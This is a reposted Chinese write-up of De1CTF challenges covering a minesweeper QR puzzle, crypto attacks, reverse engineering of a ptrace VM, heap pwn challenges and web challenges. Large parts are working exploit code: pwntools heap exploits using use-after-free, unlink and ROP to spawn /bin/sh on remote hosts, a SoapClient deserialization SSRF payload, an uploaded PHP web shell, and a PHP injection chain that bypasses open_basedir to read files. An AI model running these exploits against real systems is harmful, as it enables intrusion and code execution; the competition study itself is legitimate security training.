勇气、危机、未知、热血、谋略,的3A级游戏大作——扫雷
题目是一个Unity游戏,将其Assembly-CSharp.dll放到dnSpy里,看到其地图分析的逻辑。找到其地图相关的信息。
找到了一个DevilsInHeaven数组,但这个数组并不是按照顺序来的,其中的每一个数据,是从下往上的某一列的数据,1为有雷,0为没有。
然后还找到了Changemap的函数,该函数说明了这个雷的分布也不是完全和前面那个数组一样的,有一些位置(6个)被进行了随机。
这个扫雷雷太多了,所以是不可能正常的扫出来的。
由于ChangeMap改的非常少,所以每次的图其实差别不大。发现了左上左下和右下的大方框和右上的小方框,感觉是向左旋转90度的二维码。
然后一列一列试DevilsInHeaven数组中的数据,找到对应的列
然后整出二维码,扫描二维码得flag
一道机器学习的题目,给了模型,直接加载模型,看其结构,发现是wx+b=y的线性模型,已知y求x,因为w不是方阵,不能简单通过求逆得到,这里将给定的y作为目标,用梯度下降训练,把wx+b中的w当成输入,x当成参数,训练x直到满足条件
import h5pyimport numpy as npimport keras.models as modelsimport tensorflow as tfdef mse(true, predict):
loss = np.average(np.abs(true - predict))
return lossinput_file = np.loadtxt('DeepEncrypt/flag_sample.txt')output_file = np.loadtxt('DeepEncrypt/enc_sample.txt')model = models.load_model('DeepEncrypt/enc.hdf5')model.summary()layer1 = model.get_layer(index=1)weights = layer1.get_weights()W = weights[0]b = weights[1]print('W:', np.shape(W), 'b:', np.shape(b))label = np.loadtxt('DeepEncrypt/flag_enc.txt')input_op = tf.placeholder(tf.float32, [128, 64])label_op = tf.placeholder(tf.float32, [64])W_op = tf.Variable(tf.truncated_normal([1, 128]))pred = tf.matmul(tf.sigmoid(W_op), input_op)loss = tf.reduce_mean(tf.abs(label_op - pred))optimizer = tf.train.AdamOptimizer(learning_rate=1e-3)train_op = optimizer.minimize(loss)with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for i in range(10000):
_, loss_value = sess.run([train_op, loss],
feed_dict={input_op: W, label_op:label - b})
if i % 100 == 0:
print(i, loss_value)
result = np.array(sess.run(W_op))
result[result > 0.5] = 1
result[result < 0.5] = 0
print(result.astype(np.uint8))
print(mse(np.matmul(result, W) + b, label))
flag位数较短,所以对flag逐字符爆破,对flag每一个字符使其与ciphertext对应位置的字符做xor,因为猜测plaintext为英文,所以xor结果如果在英文文字范围内即可能正确,然后再逐字符拼接成有意义的flag
import string length = 30 flag_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_' plain_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,. ' cipher = '1e5d4c055104471c6f234f5501555b5a014e5d001c2a54470555064c443e235b4c0e590356542a130a4242335a47551a590a136f1d5d4d440b0956773613180b5f184015210e4f541c075a47064e5f001e2a4f711844430c473e2413011a100556153d1e4f45061441151901470a196f035b0c4443185b322e130806431d5a072a46385901555c5b550a541c1a2600564d5f054c453e32444c0a434d43182a0b1c540a55415a550a5e1b0f613a5c1f10021e56773a5a0206100852063c4a18581a1d15411d17111b052113460850104c472239564c0755015a13271e0a55553b5a47551a54010e2a06130b5506005a393013180c100f52072a4a1b5e1b165d50064e411d0521111f235f114c47362447094f10035c066f19025402191915110b4206182a544702100109133e394505175509671b6f0b01484e06505b061b50034a2911521e44431b5a233f13180b5508131523050154403740415503484f0c2602564d470a18407b775d031110004a54290319544e06505b060b424f092e1a770443101952333213030d554d551b2006064206555d50141c454f0c3d1b5e4d43061e453e39544c17580856581802001102105443101d111a043c03521455074c473f3213000a5b085d113c194f5e08555415180f5f433e270d131d420c1957773f560d11440d40543c060e470b55545b114e470e193c155f4d47110947343f13180c100f565a000403484e184c15050250081f2a54470545104c5536251325435302461a3b4a02484e12545c1b4265070b3b5440055543185b36231301025b084054220f4f42071b1554020f430b196f19564d4002055d79'.decode('hex') list_flag = [] for i in range(0,length): list_i = [] for flag_byte in flag_dic: count = 0 for j in range(i,600,length): if chr(ord(flag_byte)^ord(cipher[j])) in plain_dic: count += 1 if count>=600/length-1: list_i.append(flag_byte) list_flag.append(list_i) print list_flag
各种方法混搭,用到了低加密指数攻击、低加密指数广播攻击、e与phi(n)不互素时开方、yafu分解两个大小接近的p和q
最后一步解用到的方法:
https://blog.csdn.net/chenzzhenguo/article/details/94339659
结果:
de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}
题目给了一个lfsr,隐藏了mask和初始的key,mask和key的长度是256bit;又给出了504位的输出。先爆破8bit,把输出补充到512bit,mask,最后用mask还原出key。爆破的时候检查矩阵的rank和flag的哈希值。
from sage.all_cmdline import *import hashlibGF2 = GF(2);def pad(m):
pad_length = 8 - len(m)
return pad_length*'0' + mfor x in range(2 ** 8):
a = '001010010111101000001101101111010000001111011001101111011000100001100011111000010001100101110110011000001100111010111110000000111011000110111110001110111000010100110010011111100011010111101101101001110000010111011110010110010011101101010010100101011111011001111010000000001011000011000100000101111010001100000011010011010111001010010101101000110011001110111010000011010101111011110100011110011010000001100100101000010110100100100011001000101010001100000010000100111001110110101000000101011100000001100010'
a = a + pad(bin(x)[2:])
#print a, len(a)
A = []
for i in range(512-256):
A.append([int(op) for op in a[i:i+256]])
A = matrix(GF2,A)
#print A.rank()
if A.rank() != 256:
continue
last = a[256:]
b = [int(op) for op in last]
b = vector(GF2, b)
mask = A.solve_right(b)
sss = ''
for x in range(256):
sss += str(mask[x])
print sss
mask = int(sss, 2)
#mask = 0b0000100101000010111000001101111011101111100010110001001110100000011100101110001111100001011110000111110011000111011100010010001111100111010111011111000100111111010000110001111001000001000110000010110000111011010001111000101000101101010101011010110100000000
N = 256
F = GF(2)
b = a
R = [vector(F, N) for i in range(N)]
for i in range(N):
R[i][N - 1] = mask >> (N-1 - i) & 1
for i in range(N - 1):
R[i + 1][i] = 1
M = Matrix(F, R)
M = M ** N
vec = vector(F, N)
row = 0
for i in range(N / 8):
t = int(a[i*8:i*8+8],2)
for j in xrange(7, -1, -1):
vec[row] = t >> j & 1
row += 1
print 'rank of M:',rank(M)
if M.rank() != 256:
continue
num = int(''.join(map(str, list(M.solve_left(vec)))), 2)
print num
KEY = num
FLAG = "de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}"
if FLAG[7:11]=='1224':
print FLAG
break
没有输出的UAF堆题,通过stdout
泄漏地址即可,需要爆破一下。
from pwn import *context.log_level = 'debug'context.terminal = ['tmux', 'split', '-h']def add(p, idx, size, content):
p.sendlineafter('choice >> ', str(1))
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index: ', str(idx))
p.sendafter('input your name:', content)def delete(p, idx):
p.sendlineafter('choice >> ', str(2))
p.sendlineafter('input idx :', str(idx)) def edit(p, idx, content):
p.sendlineafter('choice >> ', str(3))
p.sendlineafter('input idx: ', str(idx))
p.sendafter('new content:', content)def pwn():
DEBUG = 0
if DEBUG == 1:
p = process('./pwn')
gdb.attach(p)
else:
p = remote('139.180.216.34', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
add(p, 0, 0x60, 'sunichi'.ljust(0x58, '\x00') + p64(0x70))
add(p, 1, 0x60, 'sunichi')
add(p, 2, 0x60, 'sunichi')
add(p, 3, 0x60, 'sunichi')
add(p, 4, 0x60, 'sunichi')
add(p, 7, 0x60, 'sunichi')
add(p, 8, 0x60, 'sunichi')
add(p, 9, 0x60, 'sunichi')
delete(p, 0)
delete(p, 2)
edit(p, 2, '\x60')
add(p, 2, 0x60, 'sunichi')
add(p, 5, 0x60, p64(0) + p64(0x70+0x71))
delete(p, 1)
edit(p, 5, p64(0) + p64(0x71) + '\xdd\x25')
delete(p, 0)
delete(p, 3)
edit(p, 3, '\x70')
add(p, 3, 0x60, 'sunichi')
add(p, 1, 0x60, 'sunichi')
payload = '\x00\x00\x00' + 6 * p64(0) + p64(0xfbad1800) + p64(0) * 3 + '\x00'
add(p, 6, 0x60, payload)
p.recvuntil(p64(0xfbad1800) + p64(0) * 3)
recv = p.recv(8)
libc.address = u64(recv) - (0x00007ffff7dd2600 - 0x00007ffff7a0d000)
delete(p, 8)
edit(p, 8, p64(libc.symbols['__malloc_hook'] - 0x13))
add(p, 8, 0x60, 'sunichi')
add(p, 8, 0x60, '\x00\x00\x00' + p64(libc.address + 0xf02a4))
delete(p, 9)
delete(p, 9)
print hex(libc.address)
p.interactive()
p.close()if __name__ == '__main__':
pwn()
非预期解
#include <stdlib.h>void main(void) {
system("cat flag");
return;}
off-by-null,32位和64位p64和p32的情况刚好不一致,可以利用不同idx
的堆块在两边分别unlink。然后同时修改两个程序(核心步骤)的atoi@got
到gadget处进行ROP并劫持write@got
到syscall
。
from pwn import *#context.log_level = 'debug'context.terminal = ['tmux', 'split', '-h']def add(p, size):
p.sendlineafter('>> ', str(1))
p.sendlineafter('size?\n', str(size))def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('index ?\n', str(idx))def show(p, idx):
p.sendlineafter('>> ', str(3))
p.sendlineafter('index ?\n', str(idx))def edit(p, idx, content):
p.sendlineafter('>> ', str(4))
p.sendlineafter('index ?\n', str(idx))
p.sendafter('content?\n', content)
#sleep(0.5)def pwn(count):
DEBUG = 0
arch = ''
elf32 = ELF('./mimic_note_32')
elf64 = ELF('./mimic_note_64')
#if DEBUG == 1 and arch == '64':
# p = process('./mimic_note_64')
#elif DEBUG == 1 and arch == '32':
# p = process('./mimic_note_32')
if DEBUG == 1:
#p = process('./mimic')
#p = remote('127.0.0.1', 9999)
p = process('./mimic')
else:
p = remote('45.32.120.212', 6666)
if DEBUG == 1:
#pass
gdb.attach(p)
# 64 bit unlink
add(p, 0x100-8) # 0
add(p, 0x100-8) # 1
add(p, 0x100-8) # 2
add(p, 0x100-8) # 3
delete(p, 0)
payload = 'a' * (0xf0) + p64(0x200)
edit(p, 1, payload)
delete(p, 2)
add(p, 0x1f8) # 0 is 1
add(p, 0xf8) # 2
payload = p64(0) + p64(0xf1) + p64(0x6020b0-0x18) + p64(0x6020b0-0x10)
payload = payload.ljust(0xf0, '\x00') + p64(0xf0)
edit(p, 1, payload)
delete(p, 2)
# 32 bit unlink
add(p, 0x100-8)
add(p, 0x100-8)
add(p, 0x100-4) # 32 bit 5/6/7
add(p, 0x100-4)
add(p, 0x100-4)
add(p, 0x100-4)
delete(p, 5)
payload = 'a' * 0xf8 + p32(0x200)
edit(p, 6, payload)
delete(p, 7)
add(p, 0x1f8+4) # 5 is 6
add(p, 0xf8+4) # 7
payload = p32(0) + p32(0xf9) + p32(0x804a090-0x18/2) + p32(0x804a090-0x10/2)
payload = payload.ljust(0xf8, '\x00') + p32(0xf8)
edit(p, 6, payload)
delete(p, 7)
# 64 idx 1 /// 32 idx 6
payload = p64(0) + p64(0x602050) + p64(0x20) + p64(0x602818) + p64(0x1000) + p64(0x602200) + p64(0x1000)[:5]
edit(p, 1, payload) #0x602058
payload = p32(0xf8) + p32(0x804a060) + p32(0x100) + p32(0x804a060) + p32(0x1000)[:3]
edit(p, 6, payload)
payload = p32(elf32.got['atoi']) + p32(0x20) + p32(0x804a200) + p32(0x1000) + p32(0x804a7fc) + p32(0x1000) + p32(0x0804a018) + p32(4)
edit(p, 6, payload)
edit(p, 3, p32(0x080489fb)) # test
############### 64 bit ROP
# call read to change write@got to syscall
ROP64 = p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(0x602200) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(59+0x30) + p64(0) * 3 + '/bin/sh\x00'# 0x602900 binsh
# set rax
ROP64 += p64(0x400B2B) + p64(0) + p64(0)
# call syscall
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0) + p64(0x602900) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4 + p64(0xdeadbeef)
edit(p, 1, ROP64)
############### 64 bit ROP
############### 32 bit ROP
read_plt = 0x8048460
write_got = 0x804A02C
write_plt = 0x80484D0
p_4reg_32 = 0x080489f8
p_ebx_32 = 0x08048439
bin_sh_addr = 0x804a2e8
# call read to change write@got to syscall
ROP32 = p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0x804a300)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(write_got)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0)+p32(0)+p32(0)
# set eax, edx
ROP32 += p32(0x080489f9) + p32(0) + p32(0) + p32(0xb+0x2c)
ROP32 += p32(0x8048907)
ROP32 += p32(0) * 9
ROP32 += p32(0x8048588)
# set ebx and call syscall
ROP32 += p32(p_ebx_32)+p32(bin_sh_addr)+p32(write_plt)
edit(p, 2, ROP32)
############### 32 bit ROP
# trigger ROP
payload = p32(0x80489ee) + p32(0) + p64(0x400c2f)[:6]
edit(p, 0, payload)
#raw_input()
payload = p32(0x602800) + p32(0) + p32(0x804a800-8) + p32(0x8048568) + p64(0x400c2d) + p64(0x602800)[:6]
p.sendafter('>> ', payload)
##### first read to change write@got in 64bit
p.send('\x7b')
##### second read to change write@got in 32bit
p.send(chr(count))
p.interactive()
p.close()if __name__ == '__main__':
pwn(108) # Bruteforce 32 bit libc
upx壳
对用户输入进行魔改后的base64加密,然后再与标准base64编码表下标组成的特定数组进行对比。
C++的逆向,输入首先被分为三段,每段都是纯数字,格式是12@345#678。之后分别对三段进行验证。第一段实现了Mersenne
twister这个伪随机数算法,用户的输入是随机种子,不过会检查用户的输入小于0X6F,这个量级太小了,用x64dbg动态调,然后手动输入就爆破出来了,比较幸运我是从后往前爆破的。
之后第二段直接验证了输入的每一位,比较简单。第三段是由第一段生成的,也很简单。最后就得到了答案。
main函数首先fork了一下,子进程首先ptarce_traceme,之后执行一大段非法指令,父进程调用ptrace,对子进程进行trace。
每次子进程出现异常时,父进程都会监控到,拿到子进程的寄存器值和当前执行指令,根据指令进行一系列操作。如同题目一样,实现了基于signal的虚拟机,父进程实际执行子进程的代码。
之后就是逆向分析了,先分析opcode,之后反汇编,反编译,最后看懂代码的含义,逆向。关键的代码对用户输入和7*10的矩阵做乘法,最后和目标矩阵对比。解一个矩阵方程就得到了flag。
opcode手工反编译
opcode stat asm comment06 01 06 00 00 00 00 4 mov reg_6, num(0)06 01 03 00 00 00 00 4 mov reg_3, num(0)00 00 00 0F b jmp num(0F) ;jump L000 00 00 CCL1: check input size00 01 03 01 00 00 00 5 add reg_3, 1L0:06 00 00 03 4 mov reg_0, reg_306 00 02 00 4 mov reg_2, reg_006 01 00 32 00 00 00 4 mov reg_0, num(32)CC00 00 00 02 5 add reg_0, reg_206 02 00 00 4 load reg_0, mem:reg_0 ;input[0]30 C0F6 F8 01 00 00 00 00 00 8 cmp reg_0, num(0)00 00 02 D6 FF FF FF b jne num(d6) ;jump L130 C0 F6 F8 01 03 46 00 00 00 8 cmp reg_3, num(0x46) ;len 00 00 01 15 00 00 00 b jeq num(0x15) ;jump L206 01 00 00 00 00 00 4 mov reg_0, 000 00 00 E1 01 00 00 b jmp num (0x01E1) ;ret(0);-------------------------------------------------------------------------------L2:06 01 03 00 00 00 00 4 mov reg_3, num(0) ;i = 000 00 00 40 01 00 00 b jmp num(0x0140) ;jump L8L3:06 01 04 00 00 00 00 4 mov reg_4, num(0) ;j = 000 00 00 11 01 00 00 b jmp num(0x0111) ;jump L4L5:06 01 06 00 00 00 00 4 mov reg_6, num(0) ;res = 006 01 05 00 00 00 00 4 mov reg_5, num(0) ;k = 000 00 00 A1 00 00 00 b jump num(0xA1) ;jump L6L7:06 00 02 03 4 mov reg_2, reg_3 ;tmp_1 = i06 00 00 02 4 mov reg_0, reg_2CC 08 01 00 03 00 00 00 5 LS reg_0, 3CC 01 00 00 02 5 sub reg_0, reg_206 00 02 00 4 mov reg_2, reg_0 ;tmp_1 = 7*i06 00 00 05 4 mov reg_0, reg_5CC00 00 00 02 5 add reg_0, reg_2 ;06 00 02 00 4 mov reg_2, reg_0 ;tmp_1 += k 06 01 00 32 00 00 00 4 mov reg_0, num(0x32) ;offsetCC00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += 50; tmp_1 = 7*i + k + 5006 02 01 00 4 load reg_1, mem:reg_0 ;tmp_1 = input[7*i + k] 06 00 02 05 4 mov reg_2, reg_506 00 00 02 4 mov reg_0, reg_2CC 08 01 00 03 00 00 00 5 LS reg_0, 3 ;CC 01 00 00 02 5 sub reg_0, reg_2 ;tmp_2 = 7*k06 00 02 00 4 mov reg_2, reg_0 06 00 00 04 4 mov reg_0, reg_4CC 00 00 00 02 5 add reg_0, reg_2 ;tmp_2 += j06 00 02 00 4 mov reg_2, reg_0 06 01 00 00 00 00 00 4 mov reg_0, 0CC 00 00 00 02 5 add reg_0, reg_2 ;06 02 02 00 4 load reg_2, mem:[reg_0] ;chr = mem[tmp_2] = mem[(7*k + j) ]06 00 00 01 4 mov reg_0, reg_1 CC 02 00 00 02 5 mult reg_0, reg_2 ;tmp_3 = chr * tmp_1CC 04 01 00 00 01 00 00 5 mod reg_0, num(0x100) ;tmp_3 %= 0x100CC00 00 06 00 5 add reg_6, reg_0 ;res += tmp3CC 04 01 06 00 01 00 00 5 mod reg_6, num(0x100) ;res %= 0x10006 00 00 05 4 mov reg_0, reg_5CC 00 01 00 01 00 00 00 5 add reg_0, 106 00 05 00 4 mov reg_5, reg_0 ;k += 130 C0L6:F6 F8 01 05 06 00 00 00 8 cmp reg_5, num(6)00 00 06 5C FF FF FF b jle num(0XFF5C) ;jump L706 00 02 03 4 mov reg_2, reg_3 06 00 00 02 4 mov reg_0, reg_2CC 08 01 00 03 00 00 00 5 LS reg_0, 3 ;CC 01 00 00 02 5 sub reg_0, reg_2 ;tmp_1 = 7 * i06 00 02 00 4 mov reg_2, reg_006 00 00 04 4 mov reg_0, reg_4CC 00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += j06 00 02 00 4 mov reg_2, reg_006 01 00 96 00 00 00 4 mov reg_0, num(0x96)CC 00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += 0x9606 00 01 06 4 mov reg_1, reg_606 20 00 01 4 sto MEM:[reg_0], reg_1 ;mem[tmp_1] = res06 00 00 04 5 mov reg_0, reg_4CC 00 01 00 01 00 00 00 5 add reg_0, 106 00 04 00 4 mov reg_4, reg_0 ;j += 1L4:F6 F8 01 04 06 00 00 00 b cmp reg_4, num(6)00 00 06 EC FE FF FF 8 jle num(0XFFEC) ;jump L506 00 00 03 4 mov reg_0, reg_3 ;i += 100 01 00 01 00 00 00 5 add reg_0, 1 06 00 03 00 4 mov reg_3, reg__0L8:F6 F8 01 03 09 00 00 00 8 cmp reg_3, num(9)00 00 06 BD FE FF FF b jle num(0xFFBD) ;jump L3;--------------------------------------------------------------------------------L10:06 01 03 00 00 00 00 4 mov reg_3, 0 ;i = 000 00 00 63 00 00 00 8 jmp num(0x63) ;jump L906 00 00 03 4 mov reg_0, reg_306 00 02 00 4 mov reg_2, reg_006 01 00 96 00 00 00 4 mov reg_0, num(0x96)CC 00 00 00 02 5 add reg_0, reg_2 ;tmp = i + 0x9606 02 01 00 4 mov reg_1, reg_006 00 00 03 4 mov reg_0, reg_306 00 02 00 4 mov reg_2, reg_006 01 00 FA 00 00 00 4 mov reg_0, num(0xFA)CC 00 00 00 02 5 add reg_0, reg_2 ;tmp_2 = i + 0xFA06 02 00 00 4 load reg_0, mem:reg_0 ;reg_0 = mem[tmp_2]30 C0 F6 F8 00 01 00 8 cmp reg_1, reg_0 ;if tmp == tmp_2; i + 0x96 == mm[i + 0xFA]00 00 01 15 00 00 00 b jeq num(15) ;jump L1106 01 00 00 00 00 00 4 mov reg_0, 0 ;ret 000 00 00 2F 00 00 00 b jmp num(0x2F) ;jump ENDL11:06 00 00 03 4 mov reg_0, reg_3CC00 01 00 01 00 00 00 5 add reg_0, 106 00 03 00 4 mov reg_3, reg_0 ;i+=130 C0 L9:F6 F8 01 03 45 00 00 00 8 cmp reg_3, num(0x45) ;i == 0x4500 00 06 9A FF FF FF b jle num(0xFF9A) ;jump L1006 01 00 01 00 00 00 4 mov reg_0, num(1) ;ret 1END:
z3解矩阵方程脚本
from z3 import *a = [[0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60], [0x62, 0x2B, 0x88, 0x86, 0xCA, 0x72, 0x97], [0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26, 0x83], [0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17], [0x7C, 0xCE, 0x3A, 0x73, 0xCF, 0xFB, 0xC7], [0x9C, 0x60, 0xAF, 0x9C, 0xC8, 0x75, 0xCD], [0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA], [0xD8, 0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46], [0x0B, 0xFF, 0x3C, 0xF1, 0xF1, 0x45, 0xC4], [0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]]b =[[0x41, 0x6C, 0x6D, 0x6F, 0x73, 0x74, 0x20], [0x68, 0x65, 0x61, 0x76, 0x65, 0x6E, 0x20], [0x77, 0x65, 0x73, 0x74, 0x20, 0x76, 0x69],[0x72, 0x67, 0x69, 0x6E, 0x69, 0x61, 0x2C], [0x20, 0x62, 0x6C, 0x75, 0x65, 0x20, 0x72], [0x69, 0x64, 0x67, 0x65, 0x20, 0x6D, 0x6F], [0x75, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73]]print aprint bs = Solver()mat = [[BitVec('x%d' % (x+y*7) , 8) for x in range(7)] for y in range(10)]for i in range(10):
for j in range(7):
res = 0
for k in range(7):
res += mat[i][k] * b[k][j]
s.add(res == a[i][j])print s.check()m = s.model()print mans = ''for i in range(10):
for j in range(7):
ans += chr(int(str(m[ mat[i][j]])) )print ans
import requestsconn = requests.Session()url = "http://139.180.128.86"def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return respdef challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.textfilename = "local_file:///app/flag.txt"a = []for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,iprint a
首先可以通过备份文件下载到源码,
在publish中
function publish() { ...... @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); .....
存在注入点
然后可以注入出admin密码jaivypassword
但是要求127.0.0.1登录。所以我们通过反序列化漏洞制造SSRF登录
$target = "http://127.0.0.1/index.php?action=login";$post_string = 'username=admin&password=jaivypassword&code=ff58612ddcaf52008dff6fcc13bda79f';$headers = array( 'Cookie: PHPSESSID=9l9ffojnajbukkljoth3ok8gv5', 'Connection: close');$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^^^^^','uri'=>'hello'));$aaa = serialize($b);$aaa = str_replace('^^',"\r\n",$aaa);// $b = unserialize($aaa);// $b->a();echo urlencode($aaa);
之后登录,上传shell以及代理工具,进行内网渗透
POST /index.php HTTP/1.1 Host: 172.18.0.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/ Content-Type: multipart/form-data; boundary=---------------------------16260195443769 Content-Length: 705 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------16260195443769 Content-Disposition: form-data; name="hello" Content-Type: application/octet-stream /tmp/comrade.php -----------------------------16260195443769 Content-Disposition: form-data; name="file[1]" Content-Type: application/octet-stream abc -----------------------------16260195443769 Content-Disposition: form-data; name="file[2]" Content-Type: application/octet-stream ../../../../../../../tmp/comrade.php -----------------------------16260195443769 Content-Disposition: form-data; name="file"; filename="haha.php" Content-Type: application/octet-stream @<?php echo `find / -name "*flag*"`; ?> -----------------------------16260195443769--
得到flag
login 命令存在注入点
首先通过注入获得admin密码
开始没有意识到totp到interval=5,只好用前端去爆破
之后
from pyotp import TOTPimport requestsimport base64import timeimport jsonurl = "http://222.85.25.41:8090/shell.php"conn = requests.Session()totp = TOTP('GAXG24JTMZXGKZBU',8,interval=5)def send(content):
param = {
'a':content,
"totp":totp.now(),
"x":"""chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag')); """,
}
resp = conn.get(url,params=param)
print(resp.text)def login():
send("login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}")def destruct():
send("destruct")def launch():
send("launch")def add(name,val):
assert(len(val) < 13)
send("targeting {} {}".format(name,val))login()destruct()add("b","{$_GET{x}}") add("c","${eval($b)}") add("d","$d") launch()
flag:de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}
将本题的so库与国赛的so库进行了对比,发现除了国赛的漏洞被“修补”外,没有其它改动。但是这个“修补”本身也存在另一个漏洞。当strlen正好为0x70的时候,会导致mem_mframe_data溢出'\x00',进而使后面的mframe_data被修改,正好指回了保存admin密码的位置,使得admin密码被返回。
unsigned __int64 __fastcall read_title(__int64 a1, __int64 a2) { unsigned __int64 result; // rax __int64 v2; // rax __int64 v3; // rax MAPDST result = load_tag((const char *)a1, a2); if ( result ) { v2 = tag_get_title(result); v3 = parse_text_frame_content(v2); result = strlen(*(const char **)(v3 + 8)); if ( result <= 0x70 ) { mframe_size = strlen(*(const char **)(v3 + 8)); result = (unsigned __int64)strcpy((char *)&mem_mframe_data, *(const char **)(v3 + 8)); } } return result; }
构造相应的mp3文件
上传得到管理员密码,之后通过固件上传
这其中需要用任意文件读,在share.php
由于其过滤了php关键字,我们直接url编码后base64即可
之后,我们需要知道文件名。
<?php
mt_srand(time());
echo time()." | ";
echo md5(mt_rand().'124.64.17.72')."\n";
import requests import os cookie = { "PHPSESSID":"dgs7mi8558jubi3nrqrtht929a" } file = { "file_data":open("fireware","rb") } data = { "file_id":0 } os.system("php exp.php") resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie) os.system("php exp.php") print resp.text
之后将文件名填入然后获取版本信息即可。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.